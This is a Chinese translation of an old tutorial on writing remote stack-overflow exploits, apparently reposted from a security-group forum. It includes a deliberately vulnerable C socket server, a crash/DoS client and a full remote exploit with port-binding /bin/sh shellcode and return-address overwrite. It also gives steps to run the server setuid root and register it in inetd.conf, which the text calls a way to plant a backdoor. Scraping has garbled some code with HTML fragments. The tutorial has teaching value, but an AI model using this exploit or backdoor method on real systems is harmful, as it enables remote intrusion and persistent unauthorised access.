远程代码执行漏洞,怎样编写远程漏洞测试代码

怎样编写远程漏洞测试代码 - 网络安全 - 电脑教程网

怎样编写远程漏洞测试代码

日期:2006-11-19   荐:
文章作者:Robin Walser
翻译:冰血封情 [E.S.T]
来源:邪恶八进制安全小组

强烈推荐英文基础好的不要下载我的翻译 因为冰血封情的E文水平问题 技术翻译中存在错漏纯属必然
所以本翻译文章仅仅是给一些英文不太好的朋友对照阅读 以便学习的
英文原文_eXPloits.htm" target=_blank>http://www.zone-h.org/files/32/remote_exploits.htm

注意 本文章为翻译粗稿 通宵翻译 必定有错 欢迎大家上来指正...文章整理核对后发原创区 草稿先发内部了...

1 介绍

大家好,欢迎阅读我的首篇英语文章,同时也是我的首篇关于exploit coding的文章,随后我将会引导你去探索remote exploits编写基础的奥秘。为了能够跟上我所讲的知识,您应该已经掌握了C socket编程和ANSI C,当然最好您已经明白了local exploits是怎么工作的。如果你还对这些前置知识有些陌生,那么我推荐您还是先阅读一下其他的技术资料,比如:
《The C Programming language》(Kernighan/Ritchie)
《Unix Network Programming》(Richard Stevens)
我的主页上还有一篇很不错的有关exploits的技术文章,也就是《smashing the stack for fun and profit》(aleph1)

2 如何发并完成我们的整个任务呢

好咧,咱们现在做什么呢?我们现在要测试一个有问题的程序(vulnerable.c)并且想要得到一个remote shell。我们首先来找可以利用的安全漏洞。然后仔细的阅读vulnerable.c,编译并且尝试利用这个漏洞。再然后,我们来看看这个有问题的程序,并且注意到程序中有问题的函数。接下来我们盘算着如何触发溢出,我们的exploit的代码大概的结构是怎样的,最后我们动工完成exploit。


#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>


#define BUFFER<a href="#" target="_blank">_</a>SIZE 1024
#define NAME<a href="#" target="_blank">_</a>SIZE 2048


int handling(int c)

{
char buffer[BUFFER<a href="#" target="_blank">_</a>SIZE], name[NAME<a href="#" target="_blank">_</a>SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}


int main(int argc, char *argv[])

{
int s, c, cli<a href="#" target="_blank">_</a>size;
strUCt sockaddr<a href="#" target="_blank">_</a>in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF<a href="#" target="_blank">_</a>INET, SOCK<a href="#" target="_blank">_</a>STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin<a href="#" target="_blank">_</a>addr.s<a href="#" target="_blank">_</a>addr = INADDR<a href="#" target="_blank">_</a>ANY;
srv.sin<a href="#" target="_blank">_</a>port = htons( (unsigned short int) atol(argv[1]));
srv.sin<a href="#" target="_blank">_</a>family = AF<a href="#" target="_blank">_</a>INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli<a href="#" target="_blank">_</a>size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet<a href="#" target="_blank">_</a>ntoa(cli.sin<a href="#" target="_blank">_</a>addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}
现在,我们按照下面的方法来编译和使用这个小程序。
user@Linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
./vulnerable 8080的意思是,你在8080端口上运行该服务。注意,如果你不是root请不要使用私有端口(1 - 1024)。
现在呢,我们已经编译好了这个程序并且知道怎样带参数的使用它了。
program <port>
现在我们应该检查一下这程序的一些地址,看看它是如何运做的。现在我们用gdb运行这个程序,查看一下。
我们这样做:
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/Directory/vulnerable 8080
现在这个程序已经开始监听8080端口了。
下一步可以通过telnet或者是nc去连接8080端口。
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
这个简单的服务程序仅仅是接受一个名字并把他回显在屏幕上。好了,让我们继续往下。
当你这样做了以后,gdb(debugger)将在屏幕上显示如下信息:
client from 127.0.0.1 0xbffff28c
(0xbffff28c这个值在您的电脑上可能与我的不同 不过这您不用担心)
由于程序里的for循环 现在这个服务还仍然在运行 除非你终止它。

3 通过溢出攻击此服务程序

首先让我们测试一下。
现在我们连接到服务端口8080并且通过命令行输入超过1024字节的字符"My name is:..."
就好比现在这样...
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在我们的telnet客户端就应该被断开了...但是为什么呢?现在我们来看看gdb的输出:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
记住,先不要关闭gdb。
到底发生什么了呢?正如我们瞧见的,eip被置到了0x41414141,你一定想问为什么会这样?
OK,我现在解释一下,0x41就是A(可以查阅邪恶八进制_blank>http: //www.eviloctal.com/tools/ascii.htm的16进制那行),而现在我们输入了多于1024字节,程序尝试拷贝name [2048]到buffer[1024]的时候,灾难发生了。
由于字符串name[2048]比1024字节长,因此name缓冲区覆盖了buffer缓冲区,并且继续覆盖了保留eip(extended instruction pointer,这里储存着返回地址),所以咱们的缓冲区看起来应该成这样了。
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx][EIP]
我们的栈应该是这样的。我们试图将多余1024字节的字符储存到buffer,因此我们覆盖了eip(别忘了,eip只有4个字节)。
当你覆盖了整个返回地址的时候,函数本想返回到main函数,结果却跳到了错误的地址0x41414141,因此能不出错么?
现在我给出针对这个程序的DoS攻击工具:

#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr<a href="#" target="_blank">_</a>in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF<a href="#" target="_blank">_</a>INET, SOCK<a href="#" target="_blank">_</a>STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin<a href="#" target="_blank">_</a>addr = *(struct in<a href="#" target="_blank">_</a>addr*)host->h<a href="#" target="_blank">_</a>addr;

addr.sin<a href="#" target="_blank">_</a>family = AF<a href="#" target="_blank">_</a>INET;

addr.sin<a href="#" target="_blank">_</a>port = htons(atol(argv[2]));



if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer[i] = 'A';


printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\n");

close(s);

return 0;

}
4 寻找返回地址

我将给你大概说说一个remote exploit的结构应该是怎样的。来,看看我们应该做什么了。
首先,我们启动gdb并且查找esp,为了能顺利的找到他,我们可以在gdb中这样输入x/200bx $esp-200(但愿你没退出gdb),然后我们就可以得到这样的地址输出:
_one>0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---


好了,我们现在知道咱们已经覆盖了整个缓冲区,所以让我们挑选一个地址。一会我会告诉你为什么要这样做,咱们需要猜测地址。没准你知道使用nop的技巧,但是那也并不影响我们的exploit工作。当然,为了咱们的攻击成功率更高,就得猜那个关键的返回地址了。
注意,这里有一个小技巧:
别选择靠近最后一个0x41的那个地址,选一个中间的比较好,我们呆会nop覆盖它。

5 exploit代码的结构
现在我们已经有了一个最可能的返回地址了,让我们尝试使用它...咱们的exploit代码的结构应该像这样:
(1)首先咱得找到这esp。好的,已经完成了。(我们找到了一个在esp附近的地址,其实这并不成什么问题,因为我们要将缓冲区用nop填满)...然后你应该挑一个好点的,能把一个shell绑定在某个端口的shellcode。别忘了,如果是远程攻击,remote exploit可不象本地使用那样,自然shellcode也不能一样了。有了之前的本地基础,但是远程我们还不是那么灵巧。所以我们需要想个办法去得到一个shell。端口绑定的shellcode怎么样呢,它就可以把一个shell绑定在某个设定的端口上。这种东西网络上很多的,你可以到邪恶八进制的在线exploit资料中找找(_blank>http://www.eviloctal.com/forum/thread.php?fid= 22)。
(2)声明一个缓冲区,一定要比1024字节大,比如我们用1064吧,这样覆盖eip是没问题。其实只要记住你只需要声明一个大于1024字节的缓冲区就可以了。
(3)好,弟兄们,让我们把整个缓冲区全用nop活埋吧。
memset(buffer, 0x90, 1064);
(4)现在我们把shellcode送到缓冲区里
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
这里咱们把shellcode放到了缓冲区的中间部分。
好了,如果我们有足够的nop在前面,我们就有机会执行我们的shellcode。
(5)让我们结束缓冲区中的空字节
buffer[1000] = 0x90; // 0x90是NOP的16进制
(6)把返回地址拷贝到缓冲区的末尾
_one>for(i = 1022; i < 1059; i+=4)
{
  ((int *) &buffer) = RET;
}


// RET就咱们想用的返回地址...用#define在头部定义了
我们知道缓冲区其实是以1024字节结束的,但是为了保险我们还是从1022开始了,然后我们直到到达1059再拷贝返回地址。其实已经够了,因为我们已经把eip覆盖了(其实这都是我们希望的)。
(7)让我们在咱们准备好的缓冲区最后加上空字符
_one>buffer[1063] = 0x0;


好了,我们现在只需要把准备好的这些代码通过端口和IP(或者端口和主机名)发到那个存在安全漏洞的主机就可以了。

/* Simple remote exploit, which binds a shell on port 3789

* by triton

*

* After return address was overwritten, you can connect

* with telnet or netcat to the victim host on Port 3789

* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)

* So you should get an output, ok you’ve got a shell *g*. Always use:

*

* <command>;

*

* execute.

*/

#include <stdio.h>

#include <netdb.h>

#include <netinet/in.h>

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec



int main(int argc, char *argv[]) {

char buffer[1064];

int s, i, size;

struct sockaddr<a href="#" target="_blank">_</a>in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1064);

//copying shellcode into buffer

memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]

buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1022; i < 1059; i+=4) {

* ((int *) &buffer[i]) = RET;

}

buffer[1063] = 0x0;

//getting hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF<a href="#" target="_blank">_</a>INET, SOCK<a href="#" target="_blank">_</a>STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote.sin<a href="#" target="_blank">_</a>family = AF<a href="#" target="_blank">_</a>INET;

remote.sin<a href="#" target="_blank">_</a>addr = *((struct in<a href="#" target="_blank">_</a>addr *)host->h<a href="#" target="_blank">_</a>addr);

remote.sin<a href="#" target="_blank">_</a>port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing socket

close(s);

}
7 使用exploit
user@linux~/ > gcc exploit.c –o exploit
user@linux~/ > ./exploit <host> <port>
如果你猜对了返回地址,或者你其中一个返回地址猜对了,那么它就可以发挥效力了。
user@linux~/ > telnet <host> 3879
如果你连接成功了,请尝试使用这个命令:
id;
uid=500(user) gid=500(user) groups=500(user)
看见了没有?诶呀真爽。

8 取得root权限
按照如下的方法去做:
user@linux~/ > su
passWord: ******
root@linux~/ > ls –ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>
现在你将获得root shell

9 通过inetd.conf探索这个服务
其实咱们很感兴趣这个程序,尽管他只是个演示,不妨研究一下:
首先我们把那个有问题的程序拷贝到/usr/bin/目录
root@linux~/ > cp vulnerable /usr/bin/vulnerable
Now let’s modify some files...
root@linux~/ > vi /etc/services
当然,很随便,你不用vi也行呀。
个性化你的端口,我比较喜欢1526,所以我们这样输入信息到/etc/services。
vulnerable 1526/tcp # defining port for our server program, save and quit
编辑inetd.conf文件。
root@linux~/ > vi /etc/inetd.conf
输入:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
现在保存inetd.conf文件然后退出。
root@linux~/ > killall –HUP inetd
现在重新启动一次inetd就可以了...
注意:其实这也是建立后门的一种方法,首先在/etc/services添加服务,然后在inetd.conf做手脚并且/bin/sh sh –i或者sh –h

9 问题解决方案
如果exploit不凑效,那你得多在返回地址上下工夫,它也许没找对,多在gdb里测试...
user@linux~/ > gdb vulnerable
.....
(gdb) run <port>
现在我们可以对程序进行漏洞测试了,如果不正常那么你就得多看看gdb的输出,并且尝试找到地址,可以参考第四部分的内容再来。
如果还有什么其他的疑问,请阅读备注。

10 备注
如果你找到了一个漏洞,可以告诉我,这样我可以和你一起探讨。如果你想要嘲笑我的英语烂,那我会删除你的信息的:)没人是完美的。但是如果你对我的文章有任何不懂或者疑问可以来问我。但是不要问我愚蠢的问题,我可没工夫理你。
如果你想把这个文章发到你的页面上,没问题,但是请保留作者和其他版权信息。

11 感谢
感谢Maverick提供这个有安全问题的程序(此程序是在他的《Socket Programming》找到的)
感谢triton提供这个漏洞测试代码(一个不错的人,同时也是buha-security.de的成员)
感谢buha-security.de所有成员
(省略N多感谢)


(出处:http://www.sheup.com)




标签: